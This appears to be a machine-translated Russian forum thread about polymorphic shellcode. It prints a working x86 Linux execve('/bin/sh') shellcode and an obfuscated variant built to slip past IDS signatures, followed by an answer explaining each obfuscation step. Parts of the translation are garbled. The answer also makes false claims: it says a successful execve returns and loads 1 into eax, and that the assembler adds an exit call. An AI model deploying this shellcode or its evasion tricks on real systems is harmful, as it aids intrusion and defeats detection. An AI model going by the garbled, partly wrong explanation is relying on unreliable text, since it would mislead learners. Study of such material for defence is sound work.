Объяснили полиморфное запутывание, используя разницу в двух кодах asm
Вот два asm-кода (скопированные с этого форума polymorphic-shellcode):
оригинальный асм перед запутыванием:
global _start
section .text
_start
xor eax,eax
push eax
push dword 0x68732f2f ; //sh
push dword 0x6e69622f ; /bin
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb ; execve()
int 0x80
xor eax,eax
inc eax
int 0x80
пересмотренный asm после запутывания:
global _start
section .text
_start:
xor edx, edx ;line 1
push edx ;line 2
mov eax, 0x563ED8B7 ;line 3
add eax, 0x12345678 ;line 4
push eax ;line 5
mov eax, 0xDEADC0DE ;line 6
sub eax, 0x70445EAF ;line 7
push eax ;line 8
push byte 0xb ;line 9
pop eax ;line 10
mov ecx, edx ;line 11
mov ebx, esp ;line 12
push byte 0x1 ;line 13
pop esi ;line 14
int 0x80 ;line 15
xchg esi, eax ;line 16
int 0x80 ;line 17
Это делает четыре изменения:
1. Замаскируйте строку /bin/sh, выполняя арифметические операции вместо непосредственного помещения шестнадцатеричных значений в стек.
Q1.1: я могу понять строки с 3 по 8 (в пересмотренном asm). что значит строка 9? равняется "mov al,0xb" в оригинальном asm?
2. Используйте регистры, отличные от исходного кода, где это возможно.
Q2.1: например, строки 1 и 2 (пересмотренный asm) относится к этому?
Q2.2: я понимаю обфускацию, поскольку пусть IDS не может соответствовать ключевым словам, зачем менять регистры?
3. Изменить порядок инструкций. Не инициализируйте регистры в том же порядке перед вызовом execve.
Q3.1: я не понимаю этого. Объясните это с помощью приведенных выше двух ассм.
4. Введите несколько ненужных шагов. например: push byte 0x1; поп еси; xchg esi,eax вместо вызова eax после выполнения первой инструкции int 0x80.
Q4.1: почему в оригинальном asm есть два типа int 0x80? Я попытался удалить последний 0x80, он все еще работает. Q4.2: добавить ненужные шаги, непосредственно связанные с запутыванием??
Q5: почему в строке 10 "pop eax"?
1 ответ
Q1.1: я могу понять строки с 3 по 8 (в пересмотренном asm). что значит строка 9? равняется "mov al,0xb" в оригинальном asm?
Строка 9 и 10 до push byte 0xb, pop eax
что, очевидно, означает mov eax,0x0000000b
, Потому что x86 - это некий порядок байтов al
с 0xb
(а остальная часть eax
зарегистрироваться с нуля). Так что это на самом деле заменяет xor eax,eax
/ mov al,0xb
сочетание.
push 0xb -> mov [ss:esp],0x0000000b ; memory at SS:ESP = 0x0000000b
pop eax -> mov eax,[ss:esp] ; ergo eax = 0x0000000b
Q2.2: я понимаю обфускацию, поскольку пусть IDS не может соответствовать ключевым словам, зачем менять регистры?
Многие компиляторы используют регистры более или менее стандартным способом. Продвинутая программа, такая как IDA-pro (или IDS), может использовать эти знания, чтобы декомпилировать сборку обратно в читаемый исходный код, при условии, что она может определить точную версию компилятора, использованную для создания программы. Путем смешивания регистров декомпилятору становится труднее переводить код сборки в исходный код более высокого уровня (псевдо). То же самое касается IDS, который использует известные фрагменты кода, чтобы определить, какие действия выполняет программа.
Изменить порядок инструкций. Не инициализируйте регистры в том же порядке перед вызовом execve. Q3.1: я не понимаю этого. Объясните это с помощью приведенных выше двух ассм.
Если вы используете системные вызовы, относительно легко определить, какие действия выполняет приложение. Linux (например) хранит вызов # в eax
и каждый вызов имеет определенные параметры в заранее определенных регистрах. Путем затруднения для программы анализа определить ценность eax
становится неясно, какой системный вызов выполняется. Без этого знания значение других регистров (читай: параметры) не может быть известно. Если вы заполняете также неиспользуемые регистры бессмысленными значениями, то все становится еще труднее интерпретировать.
Обфускатор не хочет, чтобы вы знали, что он вызывает системный вызов #11 (execve). Единственный способ сделать это - попытаться загрузить eax
с 0xb
в обходной манере. Если мы всегда загружаем eax
последний (или первый), тогда становится легче понять, что происходит. Если мы загружаем eax
используя 2 или более инструкций, и мы помещаем много несвязанных инструкций между ними, тогда становится сложнее отследить окончательное значение eax
перед int 0x80
который выполняет системный вызов.
Q4.1: почему в оригинальном ассм
int 0x80
? Я попытался удалить последний 0x80, он все еще работает. Q4.2: добавить ненужные шаги, непосредственно связанные с запутыванием??
Нет, предыдущие системные вызовы (execve) загружаются 1
в eax после успешного возвращения. Системный вызов № 1 случается sys_exit
, который чисто закрывает программу. При внедрении кода в программу байты после вставленного фрагмента являются случайным мусором, мы не хотим их выполнять и, таким образом, должны корректно выходить из потока. Призыв к sys_exit
добивается этого.
Если вы соберете этот фрагмент как отдельную программу, ассемблер добавит sys_exit
позвонить для вас. Вот почему удаление последнего int 0x80
кажется, не имеет значения.
Q5: почему в строке 10 "pop eax"?
Первый 0xb
является push
Эд, то это pop
въехал в eax
по сути, выполняя mov eax,0xb
,